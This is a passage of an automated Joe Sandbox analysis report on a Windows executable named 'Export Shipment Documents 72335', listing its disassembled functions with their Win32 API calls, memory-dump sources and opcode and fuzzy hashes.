                                                                                                                                                                                                          • Opcode ID: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                                                                                                                                                                                                          • Instruction ID: 8b80d2acd15126bdfc8b54909556444574c0e56a9806921f1e0b477f33817628
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                                                                                                                                                                                                          • Instruction Fuzzy Hash: F231B476244202AFF224DF04DC89FBBB7A9F785321F14492EF291973D0CA75AC469729
                                                                                                                                                                                                          Function 00442582 Relevance: 9.1, APIs: 6, Instructions: 104COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetForegroundWindow.USER32 ref: 00442597
                                                                                                                                                                                                            • Part of subcall function 004344B7: GetWindowRect.USER32(?,?), ref: 004344D3
                                                                                                                                                                                                          • GetDesktopWindow.USER32 ref: 004425BF
                                                                                                                                                                                                          • GetWindowRect.USER32(00000000), ref: 004425C6
                                                                                                                                                                                                          • mouse_event.USER32(00008001,?,?,?,?), ref: 004425F5
                                                                                                                                                                                                            • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                                                                          • GetCursorPos.USER32(?), ref: 00442624
                                                                                                                                                                                                          • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00442690
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 4137160315-0
                                                                                                                                                                                                          • Opcode ID: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                                                                                                                                                                                                          • Instruction ID: 1581b522c3ee05a339ffa1fd07f9e8cd23967deed6539873686ea33d82c69dd2
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 7C31C1B2104306ABD310DF54CD85E6BB7E9FB98304F004A2EF94597281E675E9058BA6
                                                                                                                                                                                                          Function 00448851 Relevance: 9.1, APIs: 6, Instructions: 92windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32(?,000000F1,?,00000000), ref: 0044886C
                                                                                                                                                                                                          • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                                                                          • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                                                                          • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                                                                          • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                                                                          • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Window$Enable$Show$MessageSend
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1871949834-0
                                                                                                                                                                                                          • Opcode ID: 703f0702a5e3ae6889c0b2c4cbd553a5347372704319c0c884d711360b5070ea
                                                                                                                                                                                                          • Instruction ID: fbfed122d4da650e42f877d7e8bff2bfe9b33138fa51555fe8345b8bcc16d821
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 703f0702a5e3ae6889c0b2c4cbd553a5347372704319c0c884d711360b5070ea
                                                                                                                                                                                                          • Instruction Fuzzy Hash: A731F3B07443819BF7248E14C8C4BAFB7D0AB95345F08482EF981A63D1DBAC9846872A
                                                                                                                                                                                                          Function 00449606 Relevance: 9.1, APIs: 6, Instructions: 91windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _memset.LIBCMT ref: 0044961A
                                                                                                                                                                                                          • SendMessageW.USER32 ref: 0044964A
                                                                                                                                                                                                            • Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001074,?,00000001), ref: 004496AC
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 004496BA
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 004496C7
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001074,?,?), ref: 004496FD
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$_wcslen$_memset_wcspbrk
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1624073603-0
                                                                                                                                                                                                          • Opcode ID: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
                                                                                                                                                                                                          • Instruction ID: 7e49a266cf7116299f7bc8659d1ce07b00adedb8b3f1b428e1954e4b11147a1e
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
                                                                                                                                                                                                          • Instruction Fuzzy Hash: B631CA71508300AAE720DF15DC81BEBB7D4EBD4720F504A1FFA54862D0EBBAD945C7A6
                                                                                                                                                                                                          Function 004416D1 Relevance: 9.1, APIs: 6, Instructions: 84COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                          • Opcode ID: 8dc28afdcb3e23db499faf1906c1cec9916ddd90de084288035f36419de8ba35
                                                                                                                                                                                                          • Instruction ID: 0263b137e1f68684b0dae4bb7f633391a2f723f0f4072b7ce39308acd6c8c458
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8dc28afdcb3e23db499faf1906c1cec9916ddd90de084288035f36419de8ba35
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 31219272245110ABE7108B68DCC4B6F7798EB96374F240A3AF512C61E1EA7998C1C769
                                                                                                                                                                                                          Function 0045552E Relevance: 9.1, APIs: 6, Instructions: 78windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 004555AD
                                                                                                                                                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: DestroyWindow$DeleteObject$IconMove
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1640429340-0
                                                                                                                                                                                                          • Opcode ID: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
                                                                                                                                                                                                          • Instruction ID: 2ee25f48dcb0ad8048bc4d9c922f6cac320a9d705fdb810e808868a6102f62dc
                                                                                                                                                                                                          • Opcode Fuzzy Hash: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 05312770200A419FD724DF24C998B3A73F9FB44312F4485AAE945CB266E778EC49CB69
                                                                                                                                                                                                          Function 00467E5E Relevance: 9.1, APIs: 6, Instructions: 78COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __fileno__setmode$DebugOutputString_fprintf
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3354276064-0
                                                                                                                                                                                                          • Opcode ID: 44da5cbe136b9a97bfd5e2050e6700f1212f0f901edc4668462b95a159366457
                                                                                                                                                                                                          • Instruction ID: 1e9a75ed7ce68f0ee686932f25d41d1f14ae1a91d469003489e3a0780bce169f
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 44da5cbe136b9a97bfd5e2050e6700f1212f0f901edc4668462b95a159366457
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6D11F3B2D0830136D500BA366C02AAF7A5C4A91B5CF44056EFD4563293EA2DAA4943FF
                                                                                                                                                                                                          Function 00455080 Relevance: 9.1, APIs: 6, Instructions: 75windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Destroy$DeleteMenuObject$IconWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 752480666-0
                                                                                                                                                                                                          • Opcode ID: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
                                                                                                                                                                                                          • Instruction ID: bf467a0aa8f060071afd9cdae546a2eb92d9c059e8a57ac1e588bb5f3fc3a395
                                                                                                                                                                                                          • Opcode Fuzzy Hash: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 26215E30200A019FC724DF24D5E8B7AB7A9FB44312F50855EED498B392CB39EC89CB59
                                                                                                                                                                                                          Function 00455212 Relevance: 9.1, APIs: 6, Instructions: 72windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • DestroyWindow.USER32(00000000), ref: 0045527A
                                                                                                                                                                                                          • ImageList_Destroy.COMCTL32(?), ref: 0045528C
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Destroy$DeleteObjectWindow$IconImageList_
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3275902921-0
                                                                                                                                                                                                          • Opcode ID: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
                                                                                                                                                                                                          • Instruction ID: c357af2a313eda44c34a26cb015c973203dd8f66e4d80e74dc1abfaeb9ce60f9
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2D217E70604A019BC714DF79D99466AB7A5BF44311F40856EF919CB342DB38E849CF68
                                                                                                                                                                                                          Function 00439326 Relevance: 9.1, APIs: 6, Instructions: 72processCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetCurrentProcess.KERNEL32(0000000A,?,?,?,?,?,00446540,?,?,?,?,?,?,?,?,?), ref: 0043935D
                                                                                                                                                                                                          • OpenProcessToken.ADVAPI32(00000000,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439364
                                                                                                                                                                                                          • CreateEnvironmentBlock.USERENV(?,?,00000001,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439376
                                                                                                                                                                                                          • CloseHandle.KERNEL32(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439383
                                                                                                                                                                                                          • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,?,?), ref: 004393C0
                                                                                                                                                                                                          • DestroyEnvironmentBlock.USERENV(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 004393D4
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1413079979-0
                                                                                                                                                                                                          • Opcode ID: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                                                                                                                                                                                                          • Instruction ID: 8c652321442b38080740e7d333ba663a52d3460857ef2618669649d87ea194c0
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 7B2150B2208300ABD314CB65D854EABB7EDEBCD754F084E1DF989A3250C7B4E901CB25
                                                                                                                                                                                                          Function 0041415E Relevance: 9.1, APIs: 6, Instructions: 71threadCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • ___set_flsgetvalue.LIBCMT ref: 0041418F
                                                                                                                                                                                                          • __calloc_crt.LIBCMT ref: 0041419B
                                                                                                                                                                                                          • __getptd.LIBCMT ref: 004141A8
                                                                                                                                                                                                          • CreateThread.KERNEL32(?,?,004140DB,00000000,?,?), ref: 004141DF
                                                                                                                                                                                                          • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 004141E9
                                                                                                                                                                                                          • __dosmaperr.LIBCMT ref: 00414201
                                                                                                                                                                                                            • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                                                            • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1803633139-0
                                                                                                                                                                                                          • Opcode ID: 375e199de8660ccece12c72eed21f404e356b520747db73c6127e63f80a42fd2
                                                                                                                                                                                                          • Instruction ID: ec3febacf030228bba34671a5a373aa86179f0c9a00f1e1343e4adce14cbcb36
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 375e199de8660ccece12c72eed21f404e356b520747db73c6127e63f80a42fd2
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1311DD72504209BFCB10AFA5DC828DF7BA8EF44368B20446EF50193151EB39C9C18A68
                                                                                                                                                                                                          Function 004555E0 Relevance: 9.1, APIs: 6, Instructions: 67windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • ImageList_Destroy.COMCTL32(?), ref: 004555E8
                                                                                                                                                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Destroy$DeleteObjectWindow$IconImageList_
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3275902921-0
                                                                                                                                                                                                          • Opcode ID: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
                                                                                                                                                                                                          • Instruction ID: 9e206caaed87a4944845468030bda76e3f946505fe2e652cce1cc100bc4c7c20
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
                                                                                                                                                                                                          • Instruction Fuzzy Hash: BE2141702006409FCB25DF25C994A2B77A9FF44312F80856EED49CB352DB39EC4ACB59
                                                                                                                                                                                                          Function 004554C0 Relevance: 9.1, APIs: 6, Instructions: 61windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32 ref: 004554DF
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001008,00000000,00000000), ref: 004554FA
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: DeleteDestroyMessageObjectSend$IconWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3691411573-0
                                                                                                                                                                                                          • Opcode ID: ffc9a8f4f75f6e2ff6fdc7cc9300f0c908ecc9e004d580c3573be367ed75df53
                                                                                                                                                                                                          • Instruction ID: ead105b7aa3a144aa2df3f4c31681f961a0d6b706109639263d1a652a664e8ec
                                                                                                                                                                                                          • Opcode Fuzzy Hash: ffc9a8f4f75f6e2ff6fdc7cc9300f0c908ecc9e004d580c3573be367ed75df53
                                                                                                                                                                                                          • Instruction Fuzzy Hash: A5118F713046419BDB10DF68DD88A2A77A8FB58322F404A2AFE14DB2D1D775DC498B68
                                                                                                                                                                                                          Function 0043609C Relevance: 9.1, APIs: 6, Instructions: 59COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
